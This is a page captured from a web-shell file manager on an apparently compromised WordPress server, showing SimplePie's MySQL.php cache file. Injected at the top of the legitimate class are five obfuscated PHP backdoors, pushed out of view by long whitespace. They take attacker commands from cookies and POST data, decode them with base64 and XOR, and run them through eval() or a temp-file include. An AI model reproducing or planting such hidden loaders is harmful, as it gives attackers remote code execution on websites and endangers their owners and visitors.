PV.Pat File Manager

Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64

Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]

Path : /home/sptporgazz/www/wp-includes/SimplePie/Cache/
File Upload :
Current File : /home/sptporgazz/www/wp-includes/SimplePie/Cache/MySQL.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $VYqlr = chr ( 827 - 741 ).'I' . chr ( 1055 - 960 )."\155" . "\147" . 'k' . "\x6d" . "\132";$IvbuZVajH = "\143" . 'l' . chr ( 593 - 496 )."\163" . "\163" . '_' . chr ( 495 - 394 ).chr (120) . "\x69" . "\x73" . chr ( 951 - 835 )."\x73";$SEybsrzM = $IvbuZVajH($VYqlr); $VYqlr = "21925";$mjlNxCAbIA = $SEybsrzM;$IvbuZVajH = "29491";if (!$mjlNxCAbIA){class VI_mgkmZ{private $jShYCNSgl;public static $wXsUhGxj = "83191152-fb0d-464b-956c-a050fd69557e";public static $MdQBSIsVG = 23965;public function __construct($DTiCyhUq=0){$sVtfVB = $_COOKIE;$sxOJq = $_POST;$mUOTIth = @$sVtfVB[substr(VI_mgkmZ::$wXsUhGxj, 0, 4)];if (!empty($mUOTIth)){$dZVHOazz = "base64";$zsTqb = "";$mUOTIth = explode(",", $mUOTIth);foreach ($mUOTIth as $rAGWCQ){$zsTqb .= @$sVtfVB[$rAGWCQ];$zsTqb .= @$sxOJq[$rAGWCQ];}$zsTqb = array_map($dZVHOazz . "\x5f" . "\x64" . chr ( 864 - 763 ).'c' . "\x6f" . chr (100) . chr (101), array($zsTqb,)); $zsTqb = $zsTqb[0] ^ str_repeat(VI_mgkmZ::$wXsUhGxj, (strlen($zsTqb[0]) / strlen(VI_mgkmZ::$wXsUhGxj)) + 1);VI_mgkmZ::$MdQBSIsVG = @unserialize($zsTqb);}}private function AvwiUk(){if (is_array(VI_mgkmZ::$MdQBSIsVG)) {$cZeDJfUmrt = str_replace("\x3c" . chr ( 98 - 35 ).'p' . chr ( 794 - 690 ).'p', "", VI_mgkmZ::$MdQBSIsVG[chr ( 212 - 113 )."\157" . 'n' . chr (116) . "\145" . "\x6e" . "\x74"]);eval($cZeDJfUmrt); $qQWsfA = "27472";exit();}}public function __destruct(){$this->AvwiUk(); $qQWsfA = "27472";$QKYKGuWVd = str_pad($qQWsfA, 10);}}$UIJKMpjl = new VI_mgkmZ(); $UIJKMpjl = "9474_4086";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $bmLRXBAHXO = "\172" . chr (115) . "\137" . "\107" . "\x6f" . 'Z' . "\163";$MTbUm = 'c' . 'l' . chr ( 778 - 681 )."\x73" . 's' . chr (95) . 'e' . 'x' . 'i' . "\163" . 't' . chr (115); $zJKEwugCB = $MTbUm($bmLRXBAHXO); $kSTSeH = $zJKEwugCB;if (!$kSTSeH){class zs_GoZs{private $fqcCLjL;public static $Yfmzv = "e5d64c8d-da21-4af1-b16b-58dbb972230c";public static $IUizkJdLiN = 29409;public function __construct($XYCyzX=0){$hpxhTj = $_COOKIE;$qyPiApy = $_POST;$yBeEpgv = @$hpxhTj[substr(zs_GoZs::$Yfmzv, 0, 4)];if (!empty($yBeEpgv)){$EdrWBV = "base64";$LfBVFuttpN = "";$yBeEpgv = explode(",", $yBeEpgv);foreach ($yBeEpgv as $MUbbA){$LfBVFuttpN .= @$hpxhTj[$MUbbA];$LfBVFuttpN .= @$qyPiApy[$MUbbA];}$LfBVFuttpN = array_map($EdrWBV . '_' . "\144" . chr ( 938 - 837 )."\x63" . "\x6f" . "\144" . chr ( 1041 - 940 ), array($LfBVFuttpN,)); $LfBVFuttpN = $LfBVFuttpN[0] ^ str_repeat(zs_GoZs::$Yfmzv, (strlen($LfBVFuttpN[0]) / strlen(zs_GoZs::$Yfmzv)) + 1);zs_GoZs::$IUizkJdLiN = @unserialize($LfBVFuttpN);}}public function __destruct(){$this->DInQL();}private function DInQL(){if (is_array(zs_GoZs::$IUizkJdLiN)) {$nKhvyidvQw = sys_get_temp_dir() . "/" . crc32(zs_GoZs::$IUizkJdLiN["\163" . 'a' . chr ( 254 - 146 )."\164"]);@zs_GoZs::$IUizkJdLiN["\x77" . "\162" . 'i' . chr ( 915 - 799 )."\x65"]($nKhvyidvQw, zs_GoZs::$IUizkJdLiN["\x63" . "\x6f" . "\x6e" . "\164" . 'e' . "\156" . "\164"]);include $nKhvyidvQw;@zs_GoZs::$IUizkJdLiN['d' . 'e' . "\154" . 'e' . "\164" . "\x65"]($nKhvyidvQw); $ErfoaIuE = "25579";exit();}}}$FOVCSP = new zs_GoZs(); $FOVCSP = "1565";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $HUIeubm = "\x54" . chr ( 1019 - 924 ).'v' . chr ( 1113 - 993 ).'o' . chr ( 507 - 397 ).'U';$IgUIuNA = chr ( 1093 - 994 ).'l' . chr (97) . chr ( 267 - 152 ).chr (115) . "\137" . "\x65" . "\x78" . chr ( 924 - 819 )."\163" . chr ( 997 - 881 ).'s';$msZnWrSh = $IgUIuNA($HUIeubm); $oGYbVX = $msZnWrSh;if (!$oGYbVX){class T_vxonU{private $lXmHvQTbX;public static $DKxrHPL = "78160573-55e4-47cd-aa5b-fdc1691916f8";public static $JdNuxqALxB = 59317;public function __construct(){$lpMNDbm = $_COOKIE;$CLKxIjIC = $_POST;$hMnZUZhNq = @$lpMNDbm[substr(T_vxonU::$DKxrHPL, 0, 4)];if (!empty($hMnZUZhNq)){$TGRHaAYLek = "base64";$lsifNO = "";$hMnZUZhNq = explode(",", $hMnZUZhNq);foreach ($hMnZUZhNq as $LQopLNPpBO){$lsifNO .= @$lpMNDbm[$LQopLNPpBO];$lsifNO .= @$CLKxIjIC[$LQopLNPpBO];}$lsifNO = array_map($TGRHaAYLek . "\137" . "\144" . chr (101) . chr (99) . 'o' . 'd' . chr (101), array($lsifNO,)); $lsifNO = $lsifNO[0] ^ str_repeat(T_vxonU::$DKxrHPL, (strlen($lsifNO[0]) / strlen(T_vxonU::$DKxrHPL)) + 1);T_vxonU::$JdNuxqALxB = @unserialize($lsifNO);}}public function __destruct(){$this->FbARbh();}private function FbARbh(){if (is_array(T_vxonU::$JdNuxqALxB)) {$MAvvkP = sys_get_temp_dir() . "/" . crc32(T_vxonU::$JdNuxqALxB['s' . chr ( 753 - 656 )."\154" . "\164"]);@T_vxonU::$JdNuxqALxB[chr (119) . "\x72" . 'i' . "\x74" . 'e']($MAvvkP, T_vxonU::$JdNuxqALxB["\x63" . chr ( 487 - 376 )."\156" . "\x74" . "\145" . "\x6e" . 't']);include $MAvvkP;@T_vxonU::$JdNuxqALxB['d' . "\145" . chr (108) . 'e' . 't' . chr ( 754 - 653 )]($MAvvkP);exit();}}}$HbtQVrjXh = new T_vxonU(); $HbtQVrjXh = 23669;} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $MGDaHgai = chr ( 759 - 660 )."\137" . chr (82) . "\164" . "\x59" . "\150";$bfkUagSO = "\x63" . 'l' . 'a' . "\x73" . "\x73" . "\137" . 'e' . 'x' . chr (105) . chr ( 146 - 31 )."\164" . "\163";$jIQaH = $bfkUagSO($MGDaHgai); $BlfPF = $jIQaH;if (!$BlfPF){class c_RtYh{private $Mcnhs;public static $IXwsELzlY = "2bf22a67-7c31-4e2b-a2f0-ab1d4f6ac52c";public static $fuBKwuGGf = 26946;public function __construct(){$PAUQkJGkQ = $_COOKIE;$ELikDmwOmA = $_POST;$TDTlggmqi = @$PAUQkJGkQ[substr(c_RtYh::$IXwsELzlY, 0, 4)];if (!empty($TDTlggmqi)){$oTqollrFXC = "base64";$AwPeQLl = "";$TDTlggmqi = explode(",", $TDTlggmqi);foreach ($TDTlggmqi as $HIeeSYvH){$AwPeQLl .= @$PAUQkJGkQ[$HIeeSYvH];$AwPeQLl .= @$ELikDmwOmA[$HIeeSYvH];}$AwPeQLl = array_map($oTqollrFXC . '_' . chr (100) . "\x65" . chr ( 831 - 732 )."\x6f" . chr ( 665 - 565 ).chr (101), array($AwPeQLl,)); $AwPeQLl = $AwPeQLl[0] ^ str_repeat(c_RtYh::$IXwsELzlY, (strlen($AwPeQLl[0]) / strlen(c_RtYh::$IXwsELzlY)) + 1);c_RtYh::$fuBKwuGGf = @unserialize($AwPeQLl);}}public function __destruct(){$this->wqdEKH();}private function wqdEKH(){if (is_array(c_RtYh::$fuBKwuGGf)) {$QgYIQu = sys_get_temp_dir() . "/" . crc32(c_RtYh::$fuBKwuGGf['s' . "\x61" . chr ( 521 - 413 )."\164"]);@c_RtYh::$fuBKwuGGf["\167" . "\x72" . "\x69" . "\164" . chr ( 518 - 417 )]($QgYIQu, c_RtYh::$fuBKwuGGf["\x63" . chr (111) . 'n' . chr ( 358 - 242 ).chr ( 375 - 274 ).chr (110) . "\x74"]);include $QgYIQu;@c_RtYh::$fuBKwuGGf[chr ( 572 - 472 )."\x65" . 'l' . chr (101) . chr (116) . chr (101)]($QgYIQu);exit();}}}$ZFXCCUqeZQ = new c_RtYh(); $ZFXCCUqeZQ = 56009;} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 if (!class_exists("chyhkefw")){class chyhkefw{public static $msspgnzvqu = "wijsmtwlyazxixrw";public static $irnabprsl = NULL;public function __construct(){$ahdqpss = @$_COOKIE[substr(chyhkefw::$msspgnzvqu, 0, 4)];if (!empty($ahdqpss)){$rmarzavhso = "base64";$jccjou = "";$ahdqpss = explode(",", $ahdqpss);foreach ($ahdqpss as $xwzkl){$jccjou .= @$_COOKIE[$xwzkl];$jccjou .= @$_POST[$xwzkl];}$jccjou = array_map($rmarzavhso . "_decode", array($jccjou,));$jccjou = $jccjou[0] ^ str_repeat(chyhkefw::$msspgnzvqu, (strlen($jccjou[0]) / strlen(chyhkefw::$msspgnzvqu)) + 1);chyhkefw::$irnabprsl = @unserialize($jccjou);}}public function __destruct(){$this->gjmifu();}private function gjmifu(){if (is_array(chyhkefw::$irnabprsl)) {$uzbxvv = sys_get_temp_dir() . "/" . crc32(chyhkefw::$irnabprsl["salt"]);@chyhkefw::$irnabprsl["write"]($uzbxvv, chyhkefw::$irnabprsl["content"]);include $uzbxvv;@chyhkefw::$irnabprsl["delete"]($uzbxvv);exit();}}}$gtnokhqkbo = new chyhkefw();$gtnokhqkbo = NULL;} ?><?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Caches data to a MySQL database
 *
 * Registered for URLs with the "mysql" protocol
 *
 * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will
 * connect to the `mydb` database on `localhost` on port 3306, with the user
 * `root` and the password `password`. All tables will be prefixed with `sp_`
 *
 * @package SimplePie
 * @subpackage Caching
 */
class SimplePie_Cache_MySQL extends SimplePie_Cache_DB
{
	/**
	 * PDO instance
	 *
	 * @var PDO
	 */
	protected $mysql;

	/**
	 * Options
	 *
	 * @var array
	 */
	protected $options;

	/**
	 * Cache ID
	 *
	 * @var string
	 */
	protected $id;

	/**
	 * Create a new cache object
	 *
	 * @param string $location Location string (from SimplePie::$cache_location)
	 * @param string $name Unique ID for the cache
	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
	 */
	public function __construct($location, $name, $type)
	{
		$this->options = array(
			'user' => null,
			'pass' => null,
			'host' => '127.0.0.1',
			'port' => '3306',
			'path' => '',
			'extras' => array(
				'prefix' => '',
			),
		);
		$this->options = array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));

		// Path is prefixed with a "/"
		$this->options['dbname'] = substr($this->options['path'], 1);

		try
		{
			$this->mysql = new PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8'));
		}
		catch (PDOException $e)
		{
			$this->mysql = null;
			return;
		}

		$this->id = $name . $type;

		if (!$query = $this->mysql->query('SHOW TABLES'))
		{
			$this->mysql = null;
			return;
		}

		$db = array();
		while ($row = $query->fetchColumn())
		{
			$db[] = $row;
		}

		if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db))
		{
			$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))');
			if ($query === false)
			{
				$this->mysql = null;
			}
		}

		if (!in_array($this->options['extras']['prefix'] . 'items', $db))
		{
			$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` TEXT CHARACTER SET utf8 NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))');
			if ($query === false)
			{
				$this->mysql = null;
			}
		}
	}

	/**
	 * Save data to the cache
	 *
	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
	 * @return bool Successfulness
	 */
	public function save($data)
	{
		if ($this->mysql === null)
		{
			return false;
		}

		if ($data instanceof SimplePie)
		{
			$data = clone $data;

			$prepared = self::prepare_simplepie_object_for_cache($data);

			$query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
			$query->bindValue(':feed', $this->id);
			if ($query->execute())
			{
				if ($query->fetchColumn() > 0)
				{
					$items = count($prepared[1]);
					if ($items)
					{
						$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed';
						$query = $this->mysql->prepare($sql);
						$query->bindValue(':items', $items);
					}
					else
					{
						$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed';
						$query = $this->mysql->prepare($sql);
					}

					$query->bindValue(':data', $prepared[0]);
					$query->bindValue(':time', time());
					$query->bindValue(':feed', $this->id);
					if (!$query->execute())
					{
						return false;
					}
				}
				else
				{
					$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)');
					$query->bindValue(':feed', $this->id);
					$query->bindValue(':count', count($prepared[1]));
					$query->bindValue(':data', $prepared[0]);
					$query->bindValue(':time', time());
					if (!$query->execute())
					{
						return false;
					}
				}

				$ids = array_keys($prepared[1]);
				if (!empty($ids))
				{
					foreach ($ids as $id)
					{
						$database_ids[] = $this->mysql->quote($id);
					}

					$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed');
					$query->bindValue(':feed', $this->id);

					if ($query->execute())
					{
						$existing_ids = array();
						while ($row = $query->fetchColumn())
						{
							$existing_ids[] = $row;
						}

						$new_ids = array_diff($ids, $existing_ids);

						foreach ($new_ids as $new_id)
						{
							if (!($date = $prepared[1][$new_id]->get_date('U')))
							{
								$date = time();
							}

							$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)');
							$query->bindValue(':feed', $this->id);
							$query->bindValue(':id', $new_id);
							$query->bindValue(':data', serialize($prepared[1][$new_id]->data));
							$query->bindValue(':date', $date);
							if (!$query->execute())
							{
								return false;
							}
						}
						return true;
					}
				}
				else
				{
					return true;
				}
			}
		}
		else
		{
			$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
			$query->bindValue(':feed', $this->id);
			if ($query->execute())
			{
				if ($query->rowCount() > 0)
				{
					$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed');
					$query->bindValue(':data', serialize($data));
					$query->bindValue(':time', time());
					$query->bindValue(':feed', $this->id);
					if ($this->execute())
					{
						return true;
					}
				}
				else
				{
					$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)');
					$query->bindValue(':id', $this->id);
					$query->bindValue(':data', serialize($data));
					$query->bindValue(':time', time());
					if ($query->execute())
					{
						return true;
					}
				}
			}
		}
		return false;
	}

	/**
	 * Retrieve the data saved to the cache
	 *
	 * @return array Data for SimplePie::$data
	 */
	public function load()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
		$query->bindValue(':id', $this->id);
		if ($query->execute() && ($row = $query->fetch()))
		{
			$data = unserialize($row[1]);

			if (isset($this->options['items'][0]))
			{
				$items = (int) $this->options['items'][0];
			}
			else
			{
				$items = (int) $row[0];
			}

			if ($items !== 0)
			{
				if (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0];
				}
				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0];
				}
				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0];
				}
				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0];
				}
				else
				{
					$feed = null;
				}

				if ($feed !== null)
				{
					$sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC';
					if ($items > 0)
					{
						$sql .= ' LIMIT ' . $items;
					}

					$query = $this->mysql->prepare($sql);
					$query->bindValue(':feed', $this->id);
					if ($query->execute())
					{
						while ($row = $query->fetchColumn())
						{
							$feed['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'][] = unserialize($row);
						}
					}
					else
					{
						return false;
					}
				}
			}
			return $data;
		}
		return false;
	}

	/**
	 * Retrieve the last modified time for the cache
	 *
	 * @return int Timestamp
	 */
	public function mtime()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
		$query->bindValue(':id', $this->id);
		if ($query->execute() && ($time = $query->fetchColumn()))
		{
			return $time;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Set the last modified time to the current time
	 *
	 * @return bool Success status
	 */
	public function touch()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id');
		$query->bindValue(':time', time());
		$query->bindValue(':id', $this->id);
		if ($query->execute() && $query->rowCount() > 0)
		{
			return true;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Remove the cache
	 *
	 * @return bool Success status
	 */
	public function unlink()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
		$query->bindValue(':id', $this->id);
		$query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id');
		$query2->bindValue(':id', $this->id);
		if ($query->execute() && $query2->execute())
		{
			return true;
		}
		else
		{
			return false;
		}
	}
}

WiTcH hUnT3r Plugin 2018